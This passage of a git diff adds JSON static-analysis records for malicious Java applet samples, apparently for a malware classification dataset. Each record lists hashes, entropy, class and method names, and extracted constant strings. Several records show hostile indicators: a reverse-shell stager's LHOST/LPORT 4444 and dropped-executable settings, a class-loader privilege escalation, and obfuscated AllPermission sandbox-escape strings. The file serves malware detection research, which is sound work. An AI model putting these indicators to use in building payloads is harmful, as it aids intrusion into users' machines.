"3\\x0f8CIh$\\r\\x03\\n#\\r\\x16$+=B", "\\x01\\x08z\\x140N", "\\t %\\x1fUu\\x1f\\x14\\x11$d=58\\x07E\\x15*\\x13", "517\\x146=\\x063a\\x07\\x02\\x11", "P74\\x13", "\\n$.4w\\x0f\\x07!\\x1ai|*43T\\t0J", "0<8T6+\\x17T-<:\\ne+yv", "#U\\x14&\\x015G!\\xc0\\x80H", "56\\x01],4~\\x1c_\\x18\\x07\\x16", "1\\x1d\\x10]OiE0O;%\\xc0\\x800E\\x1d2C", "\\x0f#=#S86f", "{\\\\\\x14\\x15\\x18csX\\x04\\nE\\x1d\\nE", "/\\x02\\x02J\\x1e\"\\x08\\r;\\n|s", ";+\\x17\\x12\\x04\\r#_?~\\x11", "Y)\\x0b\\x16\\x1bO?+\\tB`\\t$\\x04\\x18I|\\x1f\\x08K^\\x1f\\x12\\x13", "#e)\\x03T9\\x11{Q<9J\\x08\\x07A", "0\\x1a.C\\x14dH\"d\\x0294WC6hk", "cx\\x0f*:\\x0b7\\t?f", "\\x0b\\x125*\\x0eL", "\\x06+r#\\x07\\x1f\\x16i3/9/I\\x1b~F", " Y:\\x06)\\x0e0\\x06\\n4=\\x14\\x19/\\x13\\x1dK)\\x14D", "\\x13kRrL", "\\x7fCQ^=C", "?kj\\'!\\x141s_.\\x10", "\\x7f+\\r6\\x15f64/*\\x07`\\x02\\x12(B\\x1c:^", "\\x0cA ,a", "$% I6 \\t8M^=^", ",T\\x15_6\\x03~\\x17R*\\'`", "\\x13\\n\\x0e+\\x11\\x12\\t=]3\\x07\\x10\\x1b\\x08\\x07D\\n\\x1e\\x085[\\xc0\\x80&\\x1f\\x07@?\\x15H", "\\x12\\x02\\xc0\\x80k+!&1b!1\\x1e", "\\x01d;).(Q\\x0f\\x02d", "s\\x1f,x!M\\x0f~\\x11", "1K"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c24c874775ef6c023ed5ac0cb5338b72df0dfb2a", "file_name": "java_malicious/94daa163f20733218289e7ec66c0d64c8735fef92feb7a4f664057e56c59a408", "_id": "c85be4bc-1eb9-4e76-bd5e-cc9e6260b0e2", "score": 0, "entropy": 6.308602161858071, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4706, "ssdeep": "96:cFlr/NWBiStmmwxw6a/985H4nY3cjUR5chAF+2O:2lrei4mmXt/i5H4QZ5chOk", "sha256": "94daa163f20733218289e7ec66c0d64c8735fef92feb7a4f664057e56c59a408", "md5": "75f4d80c3dbc94927e9235145260d16d", "parent_sha256": "94daa163f20733218289e7ec66c0d64c8735fef92feb7a4f664057e56c59a408"}} \ No newline at end of file diff --git a/java_classification/data/malicious/970399ac6808755c7de8700d29512f1b488a580da7e6acc55122c6b4c8794655.results b/java_classification/data/malicious/970399ac6808755c7de8700d29512f1b488a580da7e6acc55122c6b4c8794655.results new file mode 100755 index 0000000..88528af --- /dev/null +++ b/java_classification/data/malicious/970399ac6808755c7de8700d29512f1b488a580da7e6acc55122c6b4c8794655.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "SEhLG.java", "class_name": "QvpGop/dQiNmkBtP", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "YLayjBR", "SFiHV", "cmVEjT", "bhnFYMSaJ", "JcXcj", "wRMXvk"], "minor_version": 0, "const_pool_count": 118}}, "_id": "abc4e7b9-6202-49cd-aabb-f64bb185609d", "verbose": {"java": {"constant strings": ["", "mQXneExVs", "o{NlipT~Z", "_hjIR", "HOQ", "SXJtSNI\\\\S^X"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "911b6212987197d9bff26ffefc9dffc62433acc2", "file_name": "java_malicious/970399ac6808755c7de8700d29512f1b488a580da7e6acc55122c6b4c8794655", "_id": "abc4e7b9-6202-49cd-aabb-f64bb185609d", "score": 0, "entropy": 5.652833825949827, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2596, "ssdeep": "48:rNByFldPgyONwLfmztZT4c8HEPB542L8hGMxdlWMmc8368LDsio7VJ:rNcFldnONS+p4c8P2qGMxdlWc8KS7o7j", "sha256": "970399ac6808755c7de8700d29512f1b488a580da7e6acc55122c6b4c8794655", "md5": "33baf93a9d3f6338ebffd136029e2af6", "parent_sha256": "970399ac6808755c7de8700d29512f1b488a580da7e6acc55122c6b4c8794655"}} \ No newline at end of file diff --git a/java_classification/data/malicious/980130a171c8e32f49c5fcfaa9483a900476e24dfb8ecdaed815750efbd9fe69.results b/java_classification/data/malicious/980130a171c8e32f49c5fcfaa9483a900476e24dfb8ecdaed815750efbd9fe69.results new file mode 100755 index 0000000..aa7a4bb --- /dev/null +++ b/java_classification/data/malicious/980130a171c8e32f49c5fcfaa9483a900476e24dfb8ecdaed815750efbd9fe69.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Gondqq.java", "class_name": "gond20125076/Gondqq", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "hex3Byte", "init"], "minor_version": 0, "const_pool_count": 160}}, "_id": "dd87e988-7632-4b58-a683-837ea1c447fd", "verbose": {"java": {"constant strings": ["Upriv.class", "sun.invoke.anon.AnonymousClassLoader", "loadClass", "vzSTNLX3FzDpa7AH", "bn", "xiaomaolv", "si", "bs", "os.name", "Windows"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9f8a6ec7603eb6f94d1eefc9a7fb1f50b8a6cce8", "file_name": "java_malicious/980130a171c8e32f49c5fcfaa9483a900476e24dfb8ecdaed815750efbd9fe69", "_id": "dd87e988-7632-4b58-a683-837ea1c447fd", "score": 0, "entropy": 5.708292445232357, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3017, "ssdeep": "48:1Zwsy8kAlSooS6RTUqhMYBKo/jKQPiSAbKK3LK/vCXZ+2U+ebBegsuPKCgQn:ct8kAlEbMYBKobKQPabKiX8UgpeQn", "sha256": "980130a171c8e32f49c5fcfaa9483a900476e24dfb8ecdaed815750efbd9fe69", "md5": "735d5315f2b7254e6358d03829493a88", "parent_sha256": "980130a171c8e32f49c5fcfaa9483a900476e24dfb8ecdaed815750efbd9fe69"}} \ No newline at end of file diff --git a/java_classification/data/malicious/9893a892eaea278498a814722bec8cfa98dbf65d38ab33b8921942fbed04f6b4.results b/java_classification/data/malicious/9893a892eaea278498a814722bec8cfa98dbf65d38ab33b8921942fbed04f6b4.results new file mode 100755 index 0000000..7e307df --- /dev/null +++ b/java_classification/data/malicious/9893a892eaea278498a814722bec8cfa98dbf65d38ab33b8921942fbed04f6b4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 89}}, "_id": "e14d0723-2c5c-44ac-b468-3f9c5595a17d", "verbose": {"java": {"constant strings": ["Y0000000000000000IQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IL,PN,pN,pN,pL,PL,PN,pZ,0M,9K,Ks,0g,pw,pc,oQ,tL,aV,Pu,P7,pe,Pl,Ks,pV,ll,KP,pg,ln,ML,Ku,87,Pm,PS,MT,Lg,CR,Te,SN,vJ,KZ,SN,kp,he,Xl,Kz,Ws,Zc,40,YY,xL,Ou,PU,P5,Pk,Rl,95,8p,o0,nU,Pg,p3,XR,Ur,RR,Lr,Ma,DY,of,vN,km,89,xR,Yw,p5,Pu,Pn,kz,wS,wO,p5,os,0Q,ek,Jg,7C,gW,7m,P5,ow,p4,5Y,jn,kX,oC,oD,sh,IO,qz,Lu,T5,Qc,0E,PL,Ky,LB,qb,rS,c5,8w,tU,Qc,0u,Py,os,fD,Ls,j3,i6,1F,2L,Ku,Rp,Sp,CK,0G,KG,pp,uH,zn,aS,Ki,lV,NP,eb,XS,Ub,Us,3M,SJ,KS,8m,YF,co,7a,SE,T6,N1,ub,X2,EO,6P,CG,xE,PS,km,Zk,qS,4P,0O,xC,ue,PW,Ck,pr,pr,pq,C1,GV,0k,Oc,fR,0M,SJ,XU,P2,Ue,Vp,jS,1q,Ck,OP,Ve,Ta,JR,yk,3O,27,tG,1M,PV,Zu,Pt,5N,Tk,OS,f4,Hs,ar,vl,KC,E7,LL,KC,DV,Ur,Xg,sx,uP,Vl,Ka,fq,0V,cJ,Ug,CK,yS,y1,Qn,Mc,3k,uf,S9,KV,oo,Nr,0t,xY,bB,TW,xk,qZ,kt,MF,cX,ZS,pJ,Kl,1U,ke,OP,uK,W1,NL,K1,Nt,dG,si,Mr,Fl,Kt,LB,kl,KQ,N5,Lw,sI,ML,K4,DN,k4,CK,uN,KS,nR,yK,sm,85,PK,OK,OK,Ol,N2,nf,nJ,LN,xk,NO,zV,nq,nj,xM,2S,CP,3Y,ZM,Zs,k6,Vw,jt,oT,00,wp,Os,UP,SG,pp,hs,DP,tR,Pv,Z6,Od,oB,Cp,aR,Lr,EC,Sp,kv,NU,3b,OR,Mt,os,Yr,NS,V2,O6,Oc,CP,uB,NV,NS,XS,D2,Mp,lt,oP,n4,pt,pT,rv,QF,Pd,vt,rd,pp,1P,3P,0F,TC,Bt,pT,tP,0v,YP,JV,QP,1t,pP,0d,pd,vp,0t,qB,rw,Ds,TT,pb,CT,us,SU,dg,Gs,ge,bD,vp,24,qW,I4,vu,f1,uS,hw,Hu,5G,Iq,qv,U6,W0,da,sf,9r,CU,bW,H3,TR,Ft,y4,pq,rr,zp,0T,qD,pD,pE,6T,pt,wV,PU,Pw,pA,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "be0617d1ce8d30ae91a1626a66851138d78ab6e2", "file_name": "java_malicious/9893a892eaea278498a814722bec8cfa98dbf65d38ab33b8921942fbed04f6b4", "_id": "e14d0723-2c5c-44ac-b468-3f9c5595a17d", "score": 0, "entropy": 6.128074968917304, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3243, "ssdeep": "48:aTu9yFlVuyIzlWjJi8Xv+F6e6PqyCIrgqJIKFis+5XBUHeVrnPgpIzBHFhH:arFl0tZ6ibF6aaqYiTX0epfzpH", "sha256": "9893a892eaea278498a814722bec8cfa98dbf65d38ab33b8921942fbed04f6b4", "md5": "17d40dfee48d034271a26b96bb6e1ce1", "parent_sha256": "9893a892eaea278498a814722bec8cfa98dbf65d38ab33b8921942fbed04f6b4"}} \ No newline at end of file diff --git a/java_classification/data/malicious/98bb911224d83f167a73aeda46a485eb1d0c5ebfd837aee41ea969fa02daae77.results b/java_classification/data/malicious/98bb911224d83f167a73aeda46a485eb1d0c5ebfd837aee41ea969fa02daae77.results new file mode 100755 index 0000000..a7bd981 --- /dev/null +++ b/java_classification/data/malicious/98bb911224d83f167a73aeda46a485eb1d0c5ebfd837aee41ea969fa02daae77.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Streaming.java", "class_name": "Streaming", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init", "pKe3K6ERwba6gfW"], "minor_version": 0, "const_pool_count": 120}}, "_id": "62cad7a5-b220-458f-b8fa-4ab6bfe5c549", "verbose": {"java": {"constant strings": ["DownloadFolder", "\\\\"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "dfcc0751abcb04484ef0f251b9694269950e1d42", "file_name": "java_malicious/98bb911224d83f167a73aeda46a485eb1d0c5ebfd837aee41ea969fa02daae77", "_id": "62cad7a5-b220-458f-b8fa-4ab6bfe5c549", "score": 0, "entropy": 5.559694579562909, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2019, "ssdeep": "48:mSwGyFlOosHbRFjzQW7PE/41hb5Amjkchatgo4Y3:+/FlOVwW7HOSkchatgot", "sha256": "98bb911224d83f167a73aeda46a485eb1d0c5ebfd837aee41ea969fa02daae77", "md5": "1f5caa5373fdd54727ab0b2a9d87b950", "parent_sha256": "98bb911224d83f167a73aeda46a485eb1d0c5ebfd837aee41ea969fa02daae77"}} \ No newline at end of file diff --git a/java_classification/data/malicious/98c22ca243ebfc4c4c2ce85a2c6346d43212e5791e069c210b14043fa1983b82.results b/java_classification/data/malicious/98c22ca243ebfc4c4c2ce85a2c6346d43212e5791e069c210b14043fa1983b82.results new file mode 100755 index 0000000..ffaaa66 --- /dev/null +++ b/java_classification/data/malicious/98c22ca243ebfc4c4c2ce85a2c6346d43212e5791e069c210b14043fa1983b82.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "JarMain.java", "class_name": "load/JarMain", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "a", "loadClass", "getResourceAsStream", "findClass", "a", "main", "a", ""], "minor_version": 0, "const_pool_count": 276}}, "_id": "58cb356e-a6ec-4ae8-985d-a52e47f5637f", "verbose": {"java": {"constant strings": ["`q\\x05UK`q\\x05UK`q\\x05UK`", "\\n\\x16", "\\x08\\x12\\x05/6\\x0b\\x19b5$\\x03pO\\x1a\\n\"p", "/", ".", "=,J\\x17\\x06`", "", "`B\\x15", "\\n\\x1ax,R\\x01\\x08`>/\\x1c\\n\\x1f+W\\x05"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9d13f85e177d02a013e6ca953fe740bfcae90af3", "file_name": "java_malicious/98c22ca243ebfc4c4c2ce85a2c6346d43212e5791e069c210b14043fa1983b82", "_id": "58cb356e-a6ec-4ae8-985d-a52e47f5637f", "score": 0, "entropy": 5.823105098448898, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 5983, "ssdeep": "96:InRyBSNFlYX2k2Vug+cNfdHkMLDQU47pWN7UJFmvKoaFY8Au6222d:AyElkD2cg+cDQzQvRJ8Am", "sha256": "98c22ca243ebfc4c4c2ce85a2c6346d43212e5791e069c210b14043fa1983b82", "md5": "81f8479b9f2d96264ac94a4b68a098d2", "parent_sha256": "98c22ca243ebfc4c4c2ce85a2c6346d43212e5791e069c210b14043fa1983b82"}} \ No newline at end of file diff --git a/java_classification/data/malicious/99bba4595232cff7f8b3ceeb4a46bb4e26abf6a9b2f26c3a1c696a8e54ecf4f8.results b/java_classification/data/malicious/99bba4595232cff7f8b3ceeb4a46bb4e26abf6a9b2f26c3a1c696a8e54ecf4f8.results new file mode 100755 index 0000000..406c8e1 --- /dev/null +++ b/java_classification/data/malicious/99bba4595232cff7f8b3ceeb4a46bb4e26abf6a9b2f26c3a1c696a8e54ecf4f8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "lFomqL", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["wvFTQsSbzH", "UmYSzFo", "getstrfll", "SkSvILfUK", "gJjgT", "Yyvjk", "VSRM", "", "JJJRbcUCIB", "VbMg", "mtfIjEp", "NJjxmJUqsU", "start", ""], "minor_version": 0, "const_pool_count": 1242}}, "_id": "0721fdea-7924-47cb-b149-938f79c59af1", "verbose": {"java": {"constant strings": ["", "4", "16", "62", "0.01", "-1", "-50", "100", "cXo4mW.Ss-uAnC", "./t@r@a,", "cdiAnogU.1PQr1oAvti7dS", "eDr1FXaUcHtFo5rEy0", "g@e2tWDreEf@a/url[tCFGaYcDtjoGrYy@", "7", "RXYqU", "pUElg", "xulOg", "CWRot", "SjhQz", "Cfufe", "Lblte", "qmvdD", "fgmHM", "Czumt", "fUVut", "mRmXk", "rXyYe", "xtOyN", "juKLN", "rNfMT", "lLpFs", "vbrra", "VREia", "BNfcx", "ECCKM", "XqKCm", "Cxxwm", "dMwbX", "WVrRM", "ifige", "jzfUe", "IVApG", "Blbwm", "5", "ekdqi", "OYxMh", "JcRUh", "DHdIN", "jssTs", "uqagt", "Codht", "oPyrj", "QHCxS", "vqKEt", "BELVt", "WtOgs", "iewdq", "kRtcp", "IAXSp", "FJYQc", "BBeeN", "BmCes", "IskSs", "OCkTn", "sbkWv", "12", "oyJGl", "LuFvj", "dqgkj", "iyoQa", "MBlgl", "IaiOa", "wBQra", "MuWCm", "ALHVn", "oGvmv", "oHNpv", "arQGF", "TKlkP", "wvhaa", "CHrqa", "lHomt", "QCUMu", "QuAy.", "KEYv.", "maHBR", "vbNub", "ALIpv", "geDqv", "bugok", "crQib", "Uoxae", "JECge", "cGkHP", "QofCF", "vCMRr", "xXaGr", "TSFWo", "djOHh", "QcgHs", "UohPs", "gnybB", "CySVC", "acJti", "GWrWi", "GheBy", "gngpz", "rljgo", "tBUdo", "eWXRs", "ImWHf", "UADQn", "XHzFn", "WArpS", "qVqVd", "AekiJ", "yDch1", "bXSA1", "PSmpS", "gwXhT", "EBhG.", "GpOS.", "XIJtw", "FFLWa", "ywkW7", "rUFF7", "xXUAA", "axnCA", "gcQg.", "gysR.", "eTjWr", "wwPtP"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "920f5123a27317aafd02e92dc2b3dd84e49b5994", "file_name": "java_malicious/99bba4595232cff7f8b3ceeb4a46bb4e26abf6a9b2f26c3a1c696a8e54ecf4f8", "_id": "0721fdea-7924-47cb-b149-938f79c59af1", "score": 0, "entropy": 6.39868089803236, "libmagic": "compiled Java class data, version 51.0", "file_size": 13141, "ssdeep": "192:xd1tPv1vmYiS5mdD84rYNpKXK/JYgXLItrYhNVUvdKREX7BWN3WVZ:7kYncjYNMKWwiYhN2deEhVZ", "sha256": "99bba4595232cff7f8b3ceeb4a46bb4e26abf6a9b2f26c3a1c696a8e54ecf4f8", "md5": "64364f6df8629731a9ed1111df174ea9", "parent_sha256": "99bba4595232cff7f8b3ceeb4a46bb4e26abf6a9b2f26c3a1c696a8e54ecf4f8"}} \ No newline at end of file diff --git a/java_classification/data/malicious/9a1f2b3ea5de1cba00842fbd57c5d04a165891558c0529f601fb896280a0f0e4.results b/java_classification/data/malicious/9a1f2b3ea5de1cba00842fbd57c5d04a165891558c0529f601fb896280a0f0e4.results new file mode 100755 index 0000000..4bc1f0d --- /dev/null +++ b/java_classification/data/malicious/9a1f2b3ea5de1cba00842fbd57c5d04a165891558c0529f601fb896280a0f0e4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "enudwwlhl/bagjhwnckrqnptyqkvnwqdae", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 201}}, "_id": "11c3b77d-e101-45f1-8782-d2c18a2aca7c", "verbose": {"java": {"constant strings": ["", "fD=O0B4KcJbOaL\\'R=ZgI&]cY\"\\x19&", "\\x18W\\x0e\\x1a\\x02\\x13\\r\\r", "R,I6O$\\x1c;\\x1fcLmY&O7\\x184", "\\x02\\x07\\rW\\x18\\x05\\x12\\r\\x15T@S\\x06X", "\\x1b3MfNfM1\\x1ac\\x1b0Ia", "\\x1f\\x10", "^!^?\\x1ea\\x1f\"[#M!\\x1aaB6X?M I>\\x1f1", "\\x15\\x04\\x0e\\x01\\x15\\x18S", "\\x1f>M;LbQ1@g\\x1d$", "\\x15\\x19\\x19", "3Q=", "@YDYMW", "/[6\\x10?R\\'@,Qf]\\'I`\\x1c\"N;K1", "\\x0e\\x18\\x04\\x1c\\x17\\x16SD\\x02", "^!L#Z\"I2\\x1b8\\x1db\\x1em\\x102Zg", "W\\x12SL\\x1aF\\x01\\x10\\x10\\x19\\x02\\x01P\\x13RE\\rG\\x19\\x1a\\x19F\\x06\\x19X", "Z\"N&\\x19 ]aLgQ X;D4\\x1a?Y;E\\'[g\\x10;\\x190X>];", "\\x1e\\x01\\x02\\x01Z\\x0c\\x15\\x0e\\x13N\\'\\x19\\x07\\x14\\x11\\r", "2M!x\\'G%M\\'\\\\,", "G\\x06\\x11R\\x12U\\x11UBPG\\x04\\x15X\\x17YGVAU", "]\"", "FS\\x12\\x05", "D1N>_ Y0", "CU\\x16W", "1E$I%", "CX\\x15\\x06", "G [,A$I\"", "W\\x11\\x17", "2Kf\\x1efR \\x10m\\x1b1Xg_;X\\']`N4", "\\x1aW\\x17W@\\x1a\\x0e\\x05G\\x05\\x10U\\x05\\x05\\xc0\\x80\\x12", "\\x1cl\\x1dm\\x1fm", "\\x01\\x04\\x19F\\x03\\r\\x08@\\x05\\x19\\x14\\x17\\x19E\\x02B\\x08\\x1a\\x11B\\x04B\\x15\\r\\x13"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6006c91192f53762f8961df08e851c5298910682", "file_name": "java_malicious/9a1f2b3ea5de1cba00842fbd57c5d04a165891558c0529f601fb896280a0f0e4", "_id": "11c3b77d-e101-45f1-8782-d2c18a2aca7c", "score": 0, "entropy": 6.192969458451627, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2820, "ssdeep": "48:/Ks2PxggMnGyjtvmJkRCAgX249OWJVYi5l130sUHJOv9X8PHhtD9VQL:/Ks2Pxi9mKVO9l3ll1EHJi8PhtRGL", "sha256": "9a1f2b3ea5de1cba00842fbd57c5d04a165891558c0529f601fb896280a0f0e4", "md5": "26cdc78e88930645dc8f7c5bb28eaa07", "parent_sha256": "9a1f2b3ea5de1cba00842fbd57c5d04a165891558c0529f601fb896280a0f0e4"}} \ No newline at end of file diff --git a/java_classification/data/malicious/9a22e605ea2e86e531a8ebeeca33e241a2b65a8d85f50d20ba4089ac13e8d3f7.results b/java_classification/data/malicious/9a22e605ea2e86e531a8ebeeca33e241a2b65a8d85f50d20ba4089ac13e8d3f7.results new file mode 100755 index 0000000..642565c --- /dev/null +++ b/java_classification/data/malicious/9a22e605ea2e86e531a8ebeeca33e241a2b65a8d85f50d20ba4089ac13e8d3f7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "tljpjunbjwtqlywm/qfkjd", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "plawhjfyd", "eafydvggj", "uneklqkmd", ""], "minor_version": 0, "const_pool_count": 280}}, "_id": "03c309c4-da8c-4936-8b95-822e63d88f9e", "verbose": {"java": {"constant strings": ["zm5pwvl3", "lbpv14dgjlg1zs4vbsvne42y32n0", "6aab89e136de0f79b2680d81c627e60afe4f930ef849", "scoxtcwqtccimp", "65a48df426df197aa7620598cc36f9", "mu", "63b78dec74d31376bc363b9ad135fb07", "drw", "62b199ea69cd0276a4273f89dd", "etcboiurouw", "6ba48ae8", "rikdtjtl", "2ef2cdbd6f9a533ae722089c", "sg", "6fad9ffe29c9", "amvqfiasrklsg", "74b794e628c2166aa47d0a80d637e505b55b", "pyscmdo", "65a190eb71c3", "bdjcwgsytttjugd", "6fa98da61cdb127daa77", "ccfagjw", "79b98ada22d40165b26b05", "sxrcxsgjlcfo", "74b5", "sptrpwifsmiir", "78afdbe234800b73b56f1085", "cjybsfitiwcnora", "2ca29aee", "ocnbtupdxlll", "3c", "jhl", "62b394e763d2196bae24379ac32bff", "evno", "78b793c223d31b75b6740daedf04f81eb84981", "rvkynhbjhk", "73b69eff67cd1a2c9c7d0f9bd53deb039e5e801cf76803d78ea7fd", "tsdwalchr", "6ab38de06dcc0f338d79079ac415fd1bac5481", "mvwhk", "65a09df168d91322997e0588e234f411ad4fb916ff4f04cf", "begynxjfskstjo", "77a89ff8", "hirubbt", "77a38fef3f", "mujrrndrrumuoyh", "close", "66aa8be925", "hbhs", "vewjkb25davlf5", "v5sc", "116950", "r586trg6bsz2tcuh0cmm3wf"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "79a24dff429d1f0b7b6374456f574fa87eed8fd2", "file_name": "java_malicious/9a22e605ea2e86e531a8ebeeca33e241a2b65a8d85f50d20ba4089ac13e8d3f7", "_id": "03c309c4-da8c-4936-8b95-822e63d88f9e", "score": 0, "entropy": 6.1277822765898895, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4279, "ssdeep": "96:dnDkRdpb/3A8ThTZ/1cFCGNUpv+cpZzar1:dQ13xTJhGSpv+QZzar1", "sha256": "9a22e605ea2e86e531a8ebeeca33e241a2b65a8d85f50d20ba4089ac13e8d3f7", "md5": "d1449b194094af456b91820cf3044757", "parent_sha256": "9a22e605ea2e86e531a8ebeeca33e241a2b65a8d85f50d20ba4089ac13e8d3f7"}} \ No newline at end of file diff --git a/java_classification/data/malicious/9a61859fc423518bbeffe974ef5f54cf989ed6c9a4980b9716c79115fbe81ee9.results b/java_classification/data/malicious/9a61859fc423518bbeffe974ef5f54cf989ed6c9a4980b9716c79115fbe81ee9.results new file mode 100755 index 0000000..981a49d --- /dev/null +++ b/java_classification/data/malicious/9a61859fc423518bbeffe974ef5f54cf989ed6c9a4980b9716c79115fbe81ee9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "RDqhlSuZVa/xDSsFHO", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "940fc8a8-4b7d-4f0d-ab11-f32c2317be55", "verbose": {"java": {"constant strings": ["RDqhlSuZVa.xDSsFHO", ".class", "/RDqhlSuZVa.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "RDqhlSuZVa.dat", "URL", "", "https:", "RDqhlSuZVa/xDSsFHOTrustManager.class", "xDSsFHOTrustManager.class", "AESPassword", "RDqhlSuZVa/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "RDqhlSuZVa.xDSsFHOTrustManager", "useFor", "java.net.URLConnection", "RDqhlSuZVa.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "xDSsFHO -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "76e14bca52f90eee18695508e7711ec28c64e9a3", "file_name": "java_malicious/9a61859fc423518bbeffe974ef5f54cf989ed6c9a4980b9716c79115fbe81ee9", "_id": "940fc8a8-4b7d-4f0d-ab11-f32c2317be55", "score": 0, "entropy": 6.148466738061894, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tM2qDUBe+WmzThmIhxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tjNeQtmcyNvpvUrKYvCkgHzbDrDF", "sha256": "9a61859fc423518bbeffe974ef5f54cf989ed6c9a4980b9716c79115fbe81ee9", "md5": "69f3e5cc6c5c15002918b65ccbf1c4fa", "parent_sha256": "9a61859fc423518bbeffe974ef5f54cf989ed6c9a4980b9716c79115fbe81ee9"}} \ No newline at end of file diff --git a/java_classification/data/malicious/9ae6b352f73797dfbeca52720d0ff4683ab8b1a40ea427353deb2d09b06a3f7f.results b/java_classification/data/malicious/9ae6b352f73797dfbeca52720d0ff4683ab8b1a40ea427353deb2d09b06a3f7f.results new file mode 100755 index 0000000..fd511b2 --- /dev/null +++ b/java_classification/data/malicious/9ae6b352f73797dfbeca52720d0ff4683ab8b1a40ea427353deb2d09b06a3f7f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "jinbrr", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init", "fas", "jam", "arm", "sop", "mag", "oaf", "vac", "tom", "hub"], "minor_version": 0, "const_pool_count": 236}}, "_id": "b841c77c-336b-4ae2-898d-e131ecf9f52b", "verbose": {"java": {"constant strings": ["aal", "@", "stnb3t2tStnb3t2curityManagtnb3t2r", "tnb3t2", "e", "crtnb3t2attnb3t2Writabltnb3t2Rasttnb3t2r", "Raster", "javatnb3t2awttnb3t2imagetnb3t2", ".", "", "java.security.", "fib3vt2t1le:/b3vt2t1//", "b3vt2t1", "Permissions", "ons", "on", "Perm", "AllPerm", "java.security.ProtectionDomain", "add"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "85286d6e80f73fc7cca0d66402c6a37ddc393e5a", "file_name": "java_malicious/9ae6b352f73797dfbeca52720d0ff4683ab8b1a40ea427353deb2d09b06a3f7f", "_id": "b841c77c-336b-4ae2-898d-e131ecf9f52b", "score": 0, "entropy": 5.704501495106069, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4163, "ssdeep": "96:gakM+ZVKeZ4DDIeiAdUVNE3IZCtkXzErP9:XkueZ4nidwdkoh", "sha256": "9ae6b352f73797dfbeca52720d0ff4683ab8b1a40ea427353deb2d09b06a3f7f", "md5": "d5106236b1a8fad9acd4f29016a82f3b", "parent_sha256": "9ae6b352f73797dfbeca52720d0ff4683ab8b1a40ea427353deb2d09b06a3f7f"}} \ No newline at end of file diff --git a/java_classification/data/malicious/9b5f5981446252edfb1406b9c61b37f894d08ab5ed1a5ae0cd5fb29873f6778c.results b/java_classification/data/malicious/9b5f5981446252edfb1406b9c61b37f894d08ab5ed1a5ae0cd5fb29873f6778c.results new file mode 100755 index 0000000..db91d10 --- /dev/null +++ b/java_classification/data/malicious/9b5f5981446252edfb1406b9c61b37f894d08ab5ed1a5ae0cd5fb29873f6778c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": 